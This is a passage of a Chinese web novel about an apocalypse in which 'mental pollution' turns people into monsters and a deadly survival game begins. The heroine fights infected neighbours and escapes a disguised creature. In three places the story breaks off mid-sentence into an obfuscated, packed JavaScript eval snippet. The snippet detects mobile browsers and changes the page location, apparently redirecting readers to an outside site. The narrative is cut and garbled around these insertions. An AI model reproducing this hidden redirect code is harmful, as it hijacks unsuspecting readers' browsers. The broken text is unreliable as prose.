《不小心把末日游戏玩成破解版了》 1. 不要出门! 七月的江城,天蓝风暖。 阮钰拖着疲惫的身躯,回到出租屋,褪下高及小腿的棕色小皮靴,汗珠黏着发丝湿哒哒地粘在额头,背上的衣料被汗水完全晕湿,她看了眼浴室的方向,在洗澡和睡觉中果断选择了后者,拉上窗帘后,直愣愣地扑进柔软的沙发。 所有压力消散,无限的疲劳感充斥大脑,眼前景象逐渐模糊…… 三小时后,手机疯狂震动。 消息提示音划破静谧的夜,把她从周公怀里生生拽走。 “迟早炸了这个世界。” 阮钰死死盯着茶几上不断闪烁的屏幕,眼里只有连续加班三周后好不容易放假休息,睡到一半却被生生吵醒的社畜怨气。 你丫最好有什么大事。 刚想伸手拿手机,立马被身上的汗臭味熏的差点二度昏迷。 她捏着鼻子,一边脱衣服,一边拿着手机进浴室。 哗哗的水声中,她划开屏幕,入目是三十三条未读短信。 等等。 短信? 在这个交流沟通都用微信的年代,除了运营商和欠费通知,她实在想不通,还有谁会选择短信这种通讯方式,还骚扰她三十多条? 她迟疑片刻,纤白的手指点开最上面的信息,发信人是陌生号码。 “出来看看吧,今天的江城很美。” 诈骗短信,没头没尾,删了。 下一条也是未知号码。 “我是你的老同学,还记得吗?我在咖啡屋等你。” 毕业多年的老同学突然发消息,不是借钱就是诈骗。 删了。 “我很想你,出来见见吧。” “我是你同事,出来见个面吧。” “阮钰,还记得我吗,我在体育馆等你。” “出来吧……” 足足三十三条短信,前三十一条,发信人有陌生号码,有老同学,有同事,有过年催婚的亲戚,甚至连大学导员都在其中。 脑海中不断重放着短信内容,她终于抓住了这些短信里共同的怪异之处—— 所有人,似乎都想让她出门。 什么情况? 难道是什么整人游戏? 但是这些人短信里的地点几乎完全没有重合,就算想骗她出门,也得有个固定地点吧? 怪异的感觉在心头萦绕,刚睡醒的迷蒙烟消云散,大脑此刻异常清明。 草草地洗了个头发,她深吸一口气,指尖点开第三十一条短信。 看到发信人,她动作猛然停滞,瞳孔微缩—— 妈妈。 “不要出门!千万不要出门!外面有” 短信发到一半,戛然而止。 水雾氤氲的浴室里,阮钰汗毛倒竖,如坠冰窟。 她急忙拨回电话。 “嘟——嘟——” “阮钰。” 熟悉的声音穿过听筒,她松了口气:“妈,你没事就好,刚刚的短信……” “阮钰,出门看看吧,今天的江城很漂亮。” 咚—— 她笑容僵住,手机重重摔在地上,蛛网裂缝遍布屏幕,同时,听筒里的声音悠悠响起: “阮钰,出门看看吧,我在人间等你——” 每个字的语调都相同,像不知疲惫的合成ai音,击打在浴室瓷砖上,掀起空洞的回音。 阮钰看到镜中自己的脸,在瞬间失去血色。 电话被那头突然挂断。 她强迫自己镇定下来,下意识的不去想最坏的结果。 或许是什么人通过途径合成了妈妈的声音……科技时代嘛,一切皆有可能。 阮钰弯腰捡起地上的手机,幸好只是屏幕花了,她快速买了最近的一趟从江城到春城的高铁票,刚付完款,手机嗡嗡振动,屏幕上方飘出一条新短信。 发信人是江城官方。 “请江城居民注意,在接下来的二十四小时内,不要发出任何声音!不要离开自己的住处!!如果有人敲门,请不要理会!!不要回答!!官方人员会尽全力保护大家的人身安全,请大家配合!!不要开门!!!不要回答!!!” 数个惊叹号聚在一起,看得她头皮发麻。 敏锐的直觉,让她瞬间把江城官方的短信和自己收到的三十二条短信联系在一起。 三十多条短信和妈妈的电话,都在催她出门。 官方和妈妈的信息,却在警告她不要离家。 截然相反的矛盾感,未知的危险,浓浓的不安,让她忍不住握紧手机,指节泛白。 到底发生了什么? 她冷静下来,点开唯一一条未读的信息。 发信人:神裔游戏 “恭喜您,尊贵的阮钰女士,您被神裔游戏选为第1042号玩家,游戏在三小时后开始,请做好准备!” 这又是什么东西? 无数混杂的信息充斥大脑,让本就迟滞的思维现在更是乱成一团。她往脸上扑了一把冷水,利用冷水的刺激强迫大脑清醒,然后回到沙发上,从最近的信息开始着手调查。 在浏览器里快速输入神裔游戏四个字。 平时充满垃圾广告的搜索引擎,如今竟然罕见的只有一个词条,孤零零的挂在上面。 “神裔游戏,一款在全球范围内开启的现实逃生游戏。 游戏在全国人类中随机抽取玩家,玩家需按照任务提示,在本城范围内寻找队友,共同完成游戏任务。 当前游戏存活人数为:200,000,000。 游戏开始倒计时:2:55:35。” 阮钰目光锁定在“现实逃生游戏”四个字上。 她虽然不玩游戏,但却也知道,世上根本没有这种类型的游戏存在。 她退出浏览器,点开手机里的大眼软件。 热搜第一,“不要出门”。 热搜第二,“神裔游戏”。 她垂眸,睫羽微颤,手指在屏幕上不断滑动。 第一条热搜下全都是求救贴。 【谁知道到底发生了什么吗?邻居一直敲门让我出去,我越让他走他敲得越重,该怎么办啊!】 【有没有人救救我,我爸妈都疯了!卧室没有门锁,他们在撞门,我快顶不住了,救】 【千万别跟他们出去!外面都是跟丧尸一样的疯子!】 密密麻麻的求救帖下,掺杂着极少数的讨论帖。 不止是江城出现了异常情况,求救帖下各个IP的网友都有,大家似乎都遭遇了诡异事件,但江城似乎是最严重的。 运气好的人被困在家里有吃有喝,运气差的被锁在卫生间里求助无门,只有极少数人始终没遇到异常情况。 但…… 她下意识看了眼客厅的窗—— 厚重的窗帘遮挡了全部月光,根本看不到街上发生了什么,按理说在未知灾难降临时,外面应该产生恐慌或是喧闹。 就算灾难没有降临,楼下的美食街在这个时间也该有商贩的叫卖声和飘过来的食物香气。 可是,现在的外面很安静。 安静到反常。 咚咚。 心跳声在静谧的环境里过于清晰。 她拿着手机,赤脚踩在冰凉的地板上,轻手轻脚的靠近窗台。 手指触碰到窗帘粗粝的布料,还没来得及用力,手机突然弹出一条最新的热帖推送。 等看清热帖的标题,她瞳孔地震,触电似的快速缩回手。 【远离门窗!千万不要好奇外界的异常!】 点开帖子,上面显示发送时间在三分钟前,但热度已经有了惊人的七千多万,碾压所有帖子,挂着火红的“爆”字。 【先说明身份,我不是官方人员,但我朋友是江城研究所的,这个帖子也是在官方的授意下发布,所以我说的一切内容都能保证其真实性。 话入正题。 现在,我可以很负责的告诉大家一件事,那就是,世界末日真的到了。 和你们看到的小说电影不同,这不是极端天气,不是丧尸污染,而是一种闻所未闻的类型——精神污染。这是一种超乎人类所有认知、比一切极端客观条件都要恐怖的污染类型,很可能你什么都没做,只是打开窗子透了个气,在你什么都不知道的情况下,就已经变成了无知无觉的活死人。】 帖子内容到此结束,下面催更的评论已经叠了一万多楼。 客观的说,帖子像是在哗众取宠,真正增加可信度的,是江城官方居然真的转发了这条帖子。 阮钰点击了“仅看楼主”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449218|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现在一分钟前,楼主在楼内发了新内容。 【精神污染的来源未知,但可以确定是在自然环境下。我们所居住的屋子成为了庇护所一样的存在,只要不开门、不开窗、不去偷窥外面的世界,大家都可以处于暂时的安全中。 所以,各位人类同胞们,请远离门窗,不仅是远离,你们甚至不能用双眼看它们。 如果有关窗或者拉窗帘的需求,请闭着眼睛,心里默念你是个瞎子,直到你真正相信了这件事,再去做这件事。 切记,戴眼镜是无效的,一切挣扎都是无效的,除非你相信你真的是个瞎子,你真的看不到“祂”。】 看完新回帖,阮钰汗毛根根竖起,后怕地看着厚重窗帘。 刚刚只差一点,真的就只差一点。 她现在无比庆幸自己当初为了能睡个好觉,忍着心痛,花几千块买了隔音和遮光效果最好的窗帘,更庆幸她回家时有随手拉窗帘的习惯,不然…… 感恩幸运之神。 阮钰虔诚地默念道。 但是,“精神污染”到底是什么? 既然有污染,那应该有污染源和污染物吧?也应该有什么异常情况来证实污染的存在吧? 现在她还没遇到什么奇怪的事。 唯一的异常,就是那三十多条奇怪短信。 她快速的刷新帖子,想知道更多信息,但整整过了三分钟,楼主都没再发过新的回复。 和她一样着急的人不在少数,楼内密密麻麻的“催更”俩字看的她眼花缭乱。 “咚咚!” 突然响起的敲门声,吓得阮钰心脏骤停,手一抖,手机差点再次被摔。她急忙拿稳手机,眼睛一眨不敢眨地死死盯着棕红色的木制防盗门。 “里面有人吗?” 静谧如水的黑暗中,防盗门被敲击的闷重声显得尤为诡异刺耳。敲门声夹杂着甜美的女声,让人莫名的心底泛寒。 她不敢动弹,更不敢发出任何声音,立刻把手机静音,然后小心谨慎地走到茶几附近,握住果盘里的水果刀。 门外的人还在说话。 “请开一下门,我有事找你。” “请相信我。” 说话的人听上去是个年轻的女生,声音还带着稚嫩未退的童音,温婉动听。 她侧耳认真分辨,认出这是邻居家今年刚上初中的小妹妹林晴。之前见过几面,是个很听话的小姑娘,但交情不深,所以她半天才想起来。 “阮钰姐,你可以相信我。” “打开门,让我进去吧。” 林晴在门外说道。 任谁来听,这都只是一个前来拜访的邻居。 但她仍然一动未动。 不要开门! 不要回答! 不要相信任何人! 官方消息上密密麻麻的惊叹号,如同警告旅人的最后血书,在眼前挥之不去。 阮钰最大的优点就是听劝且惜命。 她一边暗骂自己乌鸦嘴,想什么来什么,一边观察异常情况的细节。 敲门声很均匀,两秒钟一下。 林晴的语气也很奇怪,吐字清晰,但音调却没有起伏。 像没有感情的AI机器人。 和电话里的妈妈一样。 她微微低头,攥紧水果刀,无声叹息。 那么可爱的小姑娘,真是可惜。 敲门声还在继续,为防万一,她悄悄挪到鞋柜后方的视野盲区,防止林晴强行破门后,自己能有充足的时间反抗或逃跑。 十分钟后,一切回归安静。 “阮钰姐,开开门,我知道你在里面。” “阮钰姐,阮钰姐。” “不在……下一个……” 林晴的声音隔着厚重的防盗门,却似响在耳边一般,清晰可闻,诡异莫名。 沉重的脚步声渐远,不久后,又传来细微的敲门声。 林晴的目标,似乎变成了其他邻居。 危机暂时解除,她紧绷的精神放松,这才后知后觉的感觉到额头上渗出的密密麻麻的冷汗。 看来,林晴可能就是人类遭受“污染”后的样子。 她不敢发出声音,慢慢挪回沙发上,确定安全后才敢再打开手机。 帖子更新了。 2. 选择神使 【现在我们只知道人类如果接触到月光、或是看到了外面的世界、或是置身外界之中,就会变成感染者。但感染者不会攻击人类,只会用强硬手段把人类带离庇护所,制造出更多的感染者。 虽然感染者不会攻击,但大家也不要太乐观,它们有着人类难以想象的恐怖力量,并具有一定智慧。根据我们的判断,普通人挑衅感染者的失败概率很高,不建议尝试。 如果发现家中有人被感染,请务必不要发出任何声音,让自己处于一个无法看到外界、也无法被外界察觉的封闭室内中,直到家中的感染者离开。一旦发出声音,被感染者或外界察觉到你的存在,那你就只能死亡。】 本层楼内一片哀嚎。 【你为什么不早说!啊啊啊!我室友被感染了,刚刚一直敲我的门,我跑的时候发出了声音,它们撞的更用力了!你为什么不早说!谁能来救救我啊!】 【云琼山庄三号别墅区有感染者十七只,都是我家的保姆和保安,现悬赏一百万求好心人来解决感染者,当场转账绝不反悔,如果觉得价格不满意可以面谈。】 【看到富豪也跟我们一样狼狈,心里莫名的爽,嘿嘿,这世界末日可太好了,真正的众生平等啊。】 嗡的一声,手机再次振动,楼主再次发布了新内容。 【官方目前损失惨重,无法提供救援,也无法保证水电供应。这次的灾难不仅在江城,也在其他国家一起发生,这不是某个人的灾难,而是全人类的至暗时刻。 我无法为大家提供更多信息,这已经是我和官方所知道的全部,希望各位人类同胞能抛弃所有仇恨、怨憎、歧视,一起拼尽全力的活下去。 另,收到“神裔游戏”资格的玩家,请凭借你们收到的信息和身份证照片,点击下面的链接加入论坛。】 说完这些后,博主的名字和头像立刻变成了“已销号”。 帖子下再次一片骂声。 大家都以为博主是在趁着灾难宣传游戏,倒是也有玩家发出截图,说自己真的收到了“神裔游戏”的邀请,却被愤怒的人们打上狗托的标签。 阮钰沉思片刻,点进了链接。 她想的很简单,“神裔游戏”的邀请短信和异常情况同时出现,足以证明这个游戏和感染一样诡异,二者之间或许也有些联系。 帖主目前说的信息足够全面,更有江城官方的转发增加真实性,看起来不像是骗子。 搞不好,所谓的官方论坛,就是江城官方要控制游戏玩家们的手段。 不管怎么说,得到更多的信息,对生存而言是极为必要的。 链接点进去后,弹出了一个简易的选项页面。 左边一个蓝色白底的空心大框,上面写着“请上传游戏邀请截图”,右边一个大框,写着“请上传身份证正反面”。 页面很丑,丑的像是程序员花了十分钟临时做出来的。 阮钰按要求上传了信息。 过了大约十分钟的时间,她手机收到了一条官方发布的新短信。 【您已通过了信息审核,诚挚邀请您帮助官方了解游戏内容,对抗此次末日污染,拯救全人类。】 【希望您谨记:人类永不失败,永不投降,种群不亡,人类永生。】 如果不是官方的标志过于耀眼,阮钰怕是真会怀疑自己加入了什么邪教。 但这也足以说明,此次灾难的严重程度远远超过了她的想象。 这么恐怖的末日灾难来临,她能不能活着尚未可知。 不知道远在春城的妈妈…… 攥着手机的手微微用力。 “叮咚!” 【神裔游戏玩家论坛】弹出新消息。 江城官方发起了一个年龄统计链接。 【请确认您的年龄阶段。】 A:0-18岁 B:18-30岁 C:30-50岁 D:更多 阮钰点了B,做完选择后,论坛自动弹出了统计结果。 选择B的人数比例为…… 100% 这游戏居然是在特定年龄中选择的玩家。 这个年龄段的人类,正处于反应、力量、智慧都最巅峰的阶段。 【神裔游戏】的目的到底是什么? 她想要在论坛上再试着收集游戏信息,但论坛被设置了权限,没有人能发帖,唯有官方发布的十八个字高悬上方。 【人类永不失败,永不投降,种群不亡,人类永生】 墙上的时钟滴答。 屋中安静到连呼吸声都细节可闻。 门外响着林晴的敲门声,有个没看手机的邻居迷迷糊糊的打开门,在一声刺耳尖叫后,敲门声从一道变成了两道。 这个夜晚,注定非同寻常。 秒针不知疲惫地转着圈。 在时针指向数字12的时候,她眼前突然凭空出现一块浮空的蓝色屏幕。 它突兀地飘在空气中,像未来科幻电影里的动画。 屏幕上出现了她的大头照。 玩家:阮钰 评级:C 异能:无 积分:0 她试探着在屏幕上点了一下,本以为是一片空气,但指尖落下去时,传来的却是冰凉的玻璃触感。 下一刻,耳边响起合成的系统声音。 “恭喜玩家们进入神裔游戏!” “接下来游戏会发布任务,任务不可失败,不可拒绝。本夜官方无偿赠送道具:窥神眼镜,佩戴眼镜后,可避免精神污染!” “窥神眼镜在首夜附赠保护机制,玩家们可被污染者视为同类,有概率不被攻击。” “游戏道具不可赠送!” 声音仿佛从空气中传来,环绕在耳边。冰冷的机械音里,却带了一丝活泼的感觉。 她蹙眉,眼睛一花,下一刻面前就多了一个黑色纸盒。纸盒飘在空中,晃晃悠悠,在等待主人将它打开。 她试探地打开纸盒,纸盒打开,一个黑色的眼镜静静躺在里面。 眼镜外形看上去像是影视剧中的头戴式VR眼镜,通体是玄黑色的怪异材料,触手升温,却没有镜片,与其说是眼镜,倒更像是一顶头盔。 她试探着将眼镜戴上。 眼镜带上后,眼前的世界宛如笼罩了一层血红色的恐怖片滤镜。 入目之处,一切陈设都没有改变,但色调却变成刺眼的猩红。 本来温馨的出租屋,此时却像是恐怖血腥的杀人案现场。 机械声仍在响起。 “游戏每晚会随机发放两个特殊的【神使】名额。” “现在开始进行【神使】选择,请大家等待五分钟!” 阮钰坐在沙发上,指尖不断敲着茶几,抿唇沉思。 游戏,任务,精神污染。 五分钟结束,她没有收到任何通知。 游戏玩家足有两亿人,但每晚却只有两个【神使】名额。 亿分之一的运气,没被选中也很正常。 “【神使】选择完毕!” “游戏任务已发布!请玩家们领取自己的游戏任务,寻找队员!” 阮钰垂眸,眼前的蓝色屏幕前,漂浮着一行血红色的隶书。 字迹夸张,鲜红色的血液栩栩如生,仿佛能滴落到地板上。 【请领取游戏任务!】 她抬手,轻点了一下血红色的字体,触感有些黏腻,像是真正的血液。 屏幕上冒出几行字。 【新手任务:在邪神时间结束前,清除十个邪神信徒。】 【任务地点:里斯曼大学。】 【小队代号:敬神者。】 【请寻找您的小队成员。】 邪神时间,邪神信徒,敬神者。 莫名其妙的字眼串联起来,让她一头雾水。但又隐约觉得,其中似乎有某种联系。 游戏已经开始。 留给她的时间并不多。 阮钰转身进入卧室,换上一身轻便的短袖,套上薄外套和工装裤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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眼下最需要考虑的是,完成任务期间可能遇到的风险。 因为她所在的小区入住率很高,加之附近是江城的核心商圈之一,每日人流量至少都是十万以上,由此可知感染者的数量也绝对不可能少。 思考完毕后,她找出了被封藏在衣柜深处的成年礼物—— 武馆师父送她的一把精致的古董匕首。 和博物馆里那些被封在玻璃柜里供人参观的古董不同,师父说,这把匕首是上世纪由古法锻造、并请了大师开刃的杀人刀,光是硬度就比市面上常见的刀具高了不止一点。 至于要不要携带食物和水的问题,仔细思考后被她否决了。 一方面,携带太多东西会影响行动速度。 另一方面,现在大家都出不了门,真有食物需求的话,找个地方零元购就行。 做好准备,她深吸一口气,将手放在门锁处,窥神眼镜下,藏着一双凝重的墨色眼眸。 “咔哒。” 她谨慎地按下门把手。 门锁打开的声音在楼道中回荡。 空荡荡的楼梯口处,站着一男一女。 中年男人穿着板正的西装,脚踩干净的尖头皮鞋。 女生身高不足一米六,宽大的校服罩在身上,梳着学生头。 女生是刚刚敲门的林晴。 男人是林晴的父亲,林广田,住在她一墙之隔的邻居。 即使早就做过会直面感染者的心理准备,但当真正看到感染者的尊容后,阮钰还是被恶心到干呕。 父女俩面无表情,眼球只剩眼白,空洞地看着她。嘴巴张到足有两个拳头大小的恐怖程度,过于夸张的嘴巴导致嘴角被撕裂,脸颊上粉嫩的皮肉外翻,鲜血不断滴答落在干净的地砖上,伤口骇然可怖。 二人脖子里似乎藏了什么东西,正在顶着皮肉,有规律地蠕动着,诡异至极。 阮钰的心瞬间提到嗓子眼,手慢慢摸到兜里,握住匕首。心跳声在安静的楼道中尤为清晰。 十秒钟后,父女俩迈着僵硬的步伐,同时走到她面前。 恐怖的眼白注视着她,血腥气扑面而来。 3. 不可名状 “阮钰,你终于出来了。” “跟我们一起吧,你将进入真正的人间。” 两人脖子里的东西开始疯狂蠕动,发出和他们本人一模一样的声音。接着,两双枯槁的手同时伸向她的手臂。 阮钰脸色难看,对陌生怪物的恐惧让她的手有些微微颤抖,但身体出于本能,干脆利落地拔出匕首,狠狠刺向最前方林广田的脖子。 锋利的匕首划过脖颈,皮肉绽开,流出来的不是血,而是生长出了一株细长的藤蔓,藤蔓终端慢慢长出一个指甲大小的诡异花苞。 林广田的动作猛地停住。 下一刻,他表情痛苦地跪下,腰肢疯狂向后弯,身体向后对折,后脑和脚跟紧紧贴在一起,他脖子上生长出的藤蔓诡异地在他身上缠绕、生长。 林晴对父亲的倒下仿佛无知无觉,枯槁的手继续伸向阮钰,眼看着就要碰到她的衣袖。 阮钰再次紧握匕首,以相同的方式划开林晴的脖子,手起刀落。 又一株诡异的花苞,出现在楼道。 父女二人的身躯在以肉眼可见的速度缩小,空洞的血腥大嘴痛苦地颤抖着,发出无声的哀嚎,身体仿佛被花苞吸收了所有养分,不到三分钟,地上只剩两具扭曲干瘪到毫无水分的干尸,和嘴巴里长到拳头大小的诡异花苞。 阮钰后退半步,看着两具干尸,瞳孔震惊,额头冒出冷汗,握着匕首的手有些颤抖,脸色惨白。 两具干尸近在咫尺,奇异的花苞盘旋在干尸上,缓缓绽放。 在眼镜的加持下,花朵被染上触目惊心的血红色,绽放在两具干尸巨大的血口中,灿烂而妖冶,宛如在无声庆祝自己的新生。 到底是怎样的污染,才能把活生生的人类变成这副鬼样子? 阮钰呼吸粗重,死死盯着林家父女的尸体,尤其是那两朵在血口中妖冶绽放的怪花,努力平息自己的情绪,直到楼道里再次传来相似的脚步声,她才猛然回神,把家门死死关好,转身小跑下楼。 她逼迫自己从初次杀人的后怕中脱离出来,冷静地观察周围的一切,尽量收集有用的讯息。 不管如何,她要活下去。 活着去春城,活着找到妈妈。 然后,一起活下去。 下楼的路上,她观察着周围的情况。 空气中漂浮着一些肉眼可见的乒乓球大小的光球,在窥神眼镜的渲染下,像一团团漂浮的红色血液。楼道的每一层都有感染者,他们和林晴父女一样,有一张恐怖的嘴巴,眼睛没有瞳孔,脖子处有着像心脏般的花朵蠕动。 和她预料的情况截然相反,感染者数量居然出乎意料的少,每一层大概只有三四个感染者在游荡。 虽然不知道是什么原因导致的,但危险程度降低总归是一件好事,阮钰记下这些信息后,加快了奔跑的速度。 直到跑到一楼,阮钰才略微松了口气。 感染者的行动速度不快,对她而言,应付一两个冲上来的感染者问题不大。 但窥神眼镜属实有点坑,居然一直都没生效过,只希望外面的感染者也不多,否则她真不知道自己该怎么活。 推开楼道的铁门,小区外竟然也是空空荡荡,偶有几只完全构不成威胁的感染者在游荡。 阮钰暗暗庆幸了一下,转身跑向大妈们跳广场舞的小广场,准备从广场一侧的小区侧门离开,前往任务地点。 在看到广场的瞬间,她脚步猛地停住,浑身寒毛倒竖,瞳孔微微颤抖,失神呢喃:“这是,什么……” 广场上不知什么时候长出来了一朵巨大的血红色花苞。花苞还未绽放,紧紧闭合,足有十米多高,外形像极了公园里还未绽放的荷花。 因为带着眼镜,看不出到底是什么颜色,但堪比一栋小楼的十米高的巨大花苞,实在太过惊人。 最重要的是,花苞旁跪着一群感染者。 花苞下的地面伸出足有大腿粗的根茎,这些根茎全部插在感染者的嘴里,将嘴撑得巨大,每个人脸上都鲜血淋漓,可他们却像没有知觉一般,表情木然,一动不动。 几分钟后,一部分感染者被根茎吸干成干尸,另一部分感染者口中的根茎自行离开,那些感染者恢复自由,又开始张着恐怖的血腥大嘴四处游荡。 即便如此,依然不断有感染者聚集到花苞下,自愿跪下,成为巨型花苞的养料。 随着感染者越来越多,花苞顶端缓缓飘出更多的光球。 空气中的光球,像是怪花的“花粉”。 不是所有感染者都会成为怪花养料,这似乎是某种挑选或祭祀仪式…… 她默默记下这个讯息,握着保命的匕首,趁着感染者没注意到她时,果断跑走。 离开小区后,她站到熟悉的商业街上,平日繁华的商业街,现在却连一个人或者车辆都没有,仿佛有一双神之手,把一切存活的生物抹去,江城空荡得宛如一座死城。 她下意识抬头看了眼天空,墨色瞳孔微缩,突然懂了帖子不让大家看向外面的原因。 天空上,挂着一轮硕大的圆月,泛着强烈的光芒,将漆黑的夜空映照如白昼。 今天的月亮,比以前大了几十倍。因为眼镜的原因,月亮鲜红如血,如同恶魔之眼,凝视着这片被污染的土地。 她拿出手机,找到熟悉的缺德地图,输入目的地。 “里斯曼大学据您3.4公里。” 三公里,走过去的话,耗时有点久,但现在大街上不仅没人,连车辆都没有,柏油路上空空荡荡,这实在是太异常了。 作为人流量能达到每日十万左右的核心商圈,即使是世界末日,路边也不可能一辆车都没有才对。 唯一能称之为代步工具的,就只有被锁住的共享单车了。 阮钰没办法,只能拿出手机,却被一道女声叫住,“嘿,你也是游戏玩家吧?跟我一起走呗,咱俩搭个伴!” 阮钰指尖停顿,抬头看去,不远处,一个同样戴着窥神眼镜的姑娘,正笑着朝她挥手。 对方笑容灿烂,脑袋上戴着和她同款的窥神眼镜,衣服是简单的T恤衫和牛仔衣,骑着粉色的小电瓶车。 “放心,我也是玩家,没被精神污染。”她露出和善的笑容,指了下自己的游戏眼镜。 阮钰下意识摇头拒绝。 对方似乎猜到了她拒绝的原因,友善的笑了笑,“别怕,我的任务地点是里斯曼大学,看你手上的导航方向,咱们的目的地应该是一样的吧?” “里斯曼大学离这里很远,任务还有时间要求,等你骑自行车到达的时候,可能大家的任务都做完了。” 女生看着年纪不超过二十岁,但言谈居然有着超乎年龄的成熟,阮钰轻轻皱眉,即使知道这是对方说服她的话术,她仍是心动了——电瓶车比起自行车,优势确实很大。 只纠结了片刻,她便点了头,说了句“谢谢”,一屁股坐上后座。 卫曦说:“不用谢,现在世界末日了,大家互相搭把手嘛。哦对,先做个自我介绍,我叫卫曦,京市人,没有固定工作,父母是研究古神文化的历史学者,我是跟着父母来江城调查传闻中的古神族的。” 阮钰略微斟酌了一下,说:“我叫阮钰,春城人,工作是剧组的武术指导。” “武术指导?那很不错了。”卫曦惊奇:“那你的身手应该不错吧?难怪会被选中为游戏玩家。” 阮钰敏锐抓住对方的话语漏洞:“为什么这么说?难道这个游戏选择玩家还有要求吗?” “哈哈,你好聪明啊。”卫曦坐在前面,阮钰看不清她的表情,却能感觉到她似乎更开心了一点,“游戏选择玩家当然要有要求,不然一群战五渣的废物,拿什么打的过那些被不可名状之物污染的克苏鲁生物?” 陌生的词汇让阮钰陷入疑惑,她很确定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卫曦转头,脖子扭曲到一个人类无法达到的角度,咧开嘴,露出一排白色的牙齿,笑容灿烂明媚,但在阮钰惊恐放大的瞳孔里,她的表情是无法用言语形容的扭曲和恐怖。 “因为,我就是被派来寻找你的信使啊——” 随着她的嘴巴一张一合,一根从她喉咙深处生长出来的血红色触手缓慢地伸展着,对方窥神眼镜下的双眼似乎长出了什么有生命的东西,正在轻轻敲击着镜片,咚——咚——咚! 阮钰喉咙滚动,拼命压抑住将要溢出口腔的惊叫,拼尽全力用出这辈子最快的速度拔出匕首,狠狠刺向那根向她生长的、散发着恶心腥气的血色触手,同时两只手一起发力,把身前的“人”从电瓶车上扯下来。 幸好她在剧组实际操作过各种各样的动作设计,其中就包括机车戏份,在“卫曦”被扯下去的一瞬间,她快速接手了这辆电瓶车,并且狠狠的把油门拧到底,电瓶车的速度瞬间飙升到巅峰,呼啸着往前方疾冲。 一边骑车逃命,阮钰一边通过后视镜看后面的情况。 “卫曦”被她扯下去后,在原地滚了几圈,紧接着就像没事人一样爬起来,静静地站在原地。她脸上依然是和煦的灿烂笑容,随着她嘴巴的咧开,她嘴里那根被匕首切断的血色触手还在蠕动,断口处流出汩汩的鲜血,血又从“卫曦”的嘴里流向下颚和地面。 同时,她的嘴巴一张一合,似乎说了什么。 在疾驰的速度下,阮钰耳朵里本该都是风声,再加上越来越远的距离,她不该听得见“卫曦”说出的话。 可不知道为什么,卫曦的声音却还是响在了她的耳边。 “不必逃跑,我们还会见面。” 女生的声音清脆沉稳,在呼啸的风声中,像来自地狱的索命恶魔。 一切都是说不出的诡异。 这个世界到底是怎么了?! 4. 古神文明 阮钰的理智几乎要崩溃,本来以为污染者都是和林家父女一样的表现,却没想到还有“卫曦”这种能正常说话交流、看上去几乎和常人无异的感染者! 甚至对方还戴着号称能屏蔽感染的窥神眼镜! 那污染了“卫曦”的污染源又是什么? 这个世界上到底还有什么东西能对人类造成污染?到底又有多少种污染源和感染者? 阮钰从未有过这么崩溃的时候,崩溃到她甚至隐约产生了一些了结这一切异常的冲动。 当察觉到自己居然有了自杀的想法后,她立刻意识到不对劲,逼着自己冷静下来,把那些扰乱她思绪的东西全部屏蔽掉,努力拉回理智。 即使世界末日了,但她还是要活下去的,不仅为了自己,也要为了远在江城的母亲…… 她此刻真正明白到了什么是精神污染。 它或许只是某个简单的小念头,却在潜移默化中将人引领到绝路上。 比如她刚刚产生的自杀念头,应该就是被污染的影响之一。 冷静下来后,她四处观察着周围的环境,警惕着每一个可能出现的人,所幸周围再也没有任何活物,不仅看不到人类,也看不到感染者,荒寂的世界只剩她一个人独行。 压下孤独感,她看向手机上的地图,现在距离里斯曼大学只有最后的一公里了,她生出了一些想要扭头回家的想法,不管“卫曦”说的到底是真是假,她都无法冷静的对待这个凭空出现的里斯曼大学。 游戏似乎察觉到了她的想法,任务页面再次浮现。 “任务不可失败,不可拒绝”这几个字被红体加粗,刺眼地飘在空中。 仅是走神的一会儿时间,里斯曼大学就已经出现在视野中。 那是一座恢宏巨大的西欧古典风格的白色尖顶的城堡建筑,有着拱形的木窗,玻璃是七彩的颜色,比起学校,它更像是某座历史悠远的古老教堂。 建筑的门大开着,门前有十几个戴着窥神眼镜的年轻人,年轻人们似乎也知道这座学校的诡异之处,全都谨慎地站在大门前,没有一个人愿意进入其中。 看到阮钰后,年轻人们上前招了招手,阮钰停下电瓶车,一个看起来像领头人的西装青年走过来问她:“你也是玩家?哪个小队的?” 阮钰冷静下来,回答说:“敬神者。” “那你也是我们的队友,报一下名字和评级,以及异能是什么。”西装青年顺道说:“我是游戏选择的敬神者小队队长,我叫赵临渊。” 阮钰不可察觉地皱了下眉,默默唤出自己的游戏页面,重复确认着个人信息。 玩家:阮钰 评级:C 异能:无 积分:0 她的目光锁定在异能上。 她没有异能。 略微沉思后,阮钰抬头说:“我叫阮钰,评级是C,至于异能内容……抱歉,我不信任你们,暂时保密。” 跟上来的其他玩家闻言纷纷撇嘴,甚至有个穿着运动装的年轻人冷哼道:“才是个C级,我们A级B级的都没这么谨慎……连队友都不信任,啧啧……” 本就被一连串异常情况搞得心里不爽的阮钰,冷眼看向触她霉头的二货:“你不谨慎是你的事,你没资格要求我也跟你一样当个二愣子。这个游戏说了等级是用来分三六九等的吗?你就这么确定C级异能者不如A级B级?” 年轻人没想到阮钰看上去瘦弱安静,名字也温软和善,脾气居然这么暴躁。 